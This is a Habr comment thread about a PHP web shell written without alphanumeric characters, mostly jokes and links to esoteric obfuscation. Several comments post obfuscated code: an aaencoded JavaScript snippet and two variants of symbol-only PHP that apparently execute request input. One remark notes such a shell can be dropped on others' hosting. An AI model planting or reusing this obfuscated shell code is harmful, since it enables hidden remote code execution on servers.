jeston Sep 16 2013 at 19:51

PHP-шелл без единого буквенно-цифрового символа

1 min

89K

Information Security*PHP*

+91

Comments 33

CodeByZen Sep 16 2013 at 20:02

В источнике не менее интересный скрипт на JS в комментах.


ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');

+58

BaNru Sep 16 2013 at 20:19

Ух ты, сколько смайлов.

+49

nochkin Sep 17 2013 at 05:36

Это для отвода глаз. Пока этот скрипт улыбается творятся жуткие вещи.

+18

dtv Sep 17 2013 at 12:42

По-моему, это: "(ﾟｰﾟ)+=(ﾟΘﾟ)" — Винни Пух и Пятачок.

ZweiAndersdenkenden Sep 17 2013 at 12:48

А по результату Винни имеет Пятачка )))

-5

UFO just landed and posted this here

hMartin Sep 16 2013 at 20:37

а еще давненько на хабре рассматривали скрипт, который обфусцирован до пробелов.

AndrewShmig Sep 16 2013 at 20:40

Найдете линк?

hMartin Sep 16 2013 at 20:42

http://habrahabr.ru/post/112530/
В самом конце.
+ там еще есть метод создания png c js кодом, извлечение и запись.

+15

AndrewShmig Sep 16 2013 at 20:46

Ох люблю я эти вещи!
Спасибо!

bolk Sep 17 2013 at 17:15

Да чего там любить-то? По факту это же не JS, он же не выполнится в браузере.

AterCattus Sep 16 2013 at 22:23

Знакомый вывод. Скорее всего вот источник.

CodeByZen Sep 16 2013 at 22:53

так и есть

ZweiAndersdenkenden Sep 17 2013 at 08:02

Вау. Это супер. Интересно что он делает…

ZweiAndersdenkenden Sep 17 2013 at 08:07

~~Интересно что он делает.~~ Нашел в соседнем коменте что делает. Отлично зашифровали. Жаль не успел отредактировать комент.

copist Sep 20 2013 at 08:19

Боюсь предсказать, что он делает, а уж тем более запускать.

Так что он делает?
Уже посмотрел.

propovednik Sep 16 2013 at 20:29

Вызов принят

icex Sep 16 2013 at 20:52

может register_globals включить? и в get добавить параметр _=<значение>

mephisto Sep 16 2013 at 22:29

такой шелл уже так легко не забросишь на чужой хостинг, т.к. везде register_globals выключен.
а этот шелл будет работать на любом обычном хостинге.

UFO just landed and posted this here

mephisto Sep 17 2013 at 10:26

А вот это уже далеко не любой хостинг ;)

VolCh Sep 17 2013 at 11:56

Что значит «правильно»? Отключение стандартных функций языка не может быть правильным. Оно может быть костылем, исправляющим ошибку в другом месте, но не правильным.

mgkirs Sep 16 2013 at 20:54

Няшка Няшка Няшка
© Sheldon Lee Cooper

-15

TIEugene Sep 16 2013 at 22:15

Но все-равно php — ни разу не perl, говорите…
Python — рулит.

-19

bolk Sep 17 2013 at 13:11

Ну да, ну да. Расшифровайте: http://bolknote.ru/2008/09/07/~1842/

gbezyuk Sep 17 2013 at 21:49

если я ничего не перепутал, то возвращается строка «Писать на Перле можно на любом языке программирования»

-1

bytecode_rus Sep 16 2013 at 23:54

Похожая штука на JS: www.jsfuck.com/

huze Sep 17 2013 at 01:11

То ли из-за особенностей блогодвижка, то ли из-за недосмотра, то ли из-за неправильной настройки PHP то ли автор оригинального исследования, то ли автор скрипта (вряд ли)… Короче, кто-то пропустил один символ, и теперь этот код бросает Notice, что, как говорится, палевно.

lamaz Sep 17 2013 at 01:56

=@`$c`

Правда register_globals нужен

UFO just landed and posted this here

sectus Sep 17 2013 at 08:53

Такой вариант интереснее смотрится.

@$̓[]=@!+_; $͘=@${_}>>$̓;$̓[]=$͘;$̓[]=@_;$̓[((++$͘)+($͘++ ))].=$̓;
$̓[]=++$͘; $̓[]=$̓[--$͘][$͘>>$͘];$̓[$͘].=(($͘+$͘)+ $̓[$͘-$͘]).($͘+$͘+$͘)+$̓[$͘-$͘];
$̓[$͘+$͘] =($̓[$͘][$͘>>$͘]).($̓[$͘][$͘]^$̓[$͘][($͘<<$͘)-$͘] );
$̓[$͘+$͘] .=($̓[$͘][($͘<<$͘)-($͘/$͘)])^($̓[$͘][$͘] );
$̓[$͘+$͘] .=($̓[$͘][$͘+$͘])^$̓[$͘][($͘<<$͘)-$͘ ];
$̓=$
$̓[$͘+ $͘] ;$̓[@-_]($̓[@!+_] );

sectus Sep 17 2013 at 09:21

А так веселее

@$ˊ͜ˋ[]=@!+_; $˶͜˵=@${_}>>$ˊ͜ˋ;$ˊ͜ˋ[]=$˶͜˵;$ˊ͜ˋ[]=@_;$ˊ͜ˋ[((++$˶͜˵)+($˶͜˵++ ))].=$ˊ͜ˋ;
$ˊ͜ˋ[]=++$˶͜˵; $ˊ͜ˋ[]=$ˊ͜ˋ[--$˶͜˵][$˶͜˵>>$˶͜˵];$ˊ͜ˋ[$˶͜˵].=(($˶͜˵+$˶͜˵)+ $ˊ͜ˋ[$˶͜˵-$˶͜˵]).($˶͜˵+$˶͜˵+$˶͜˵)+$ˊ͜ˋ[$˶͜˵-$˶͜˵];
$ˊ͜ˋ[$˶͜˵+$˶͜˵] =($ˊ͜ˋ[$˶͜˵][$˶͜˵>>$˶͜˵]).($ˊ͜ˋ[$˶͜˵][$˶͜˵]^$ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-$˶͜˵] );
$ˊ͜ˋ[$˶͜˵+$˶͜˵] .=($ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-($˶͜˵/$˶͜˵)])^($ˊ͜ˋ[$˶͜˵][$˶͜˵] );
$ˊ͜ˋ[$˶͜˵+$˶͜˵] .=($ˊ͜ˋ[$˶͜˵][$˶͜˵+$˶͜˵])^$ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-$˶͜˵ ];
$ˊ͜ˋ=$
$ˊ͜ˋ[$˶͜˵+ $˶͜˵] ;$ˊ͜ˋ[@-_]($ˊ͜ˋ[@!+_] );

Dmitry_Zhariy Sep 17 2013 at 19:51

А для Perl даже есть модуль специальны, чтобы так делать: Acme::EyeDrops

А вообще-то, сейчас брейнфак и подобные языки очень сильно уступают Chicken

Подробную презентацию языка, которая будет понятна даже без знания английского, можно посмотреть тут:

Show the best of all time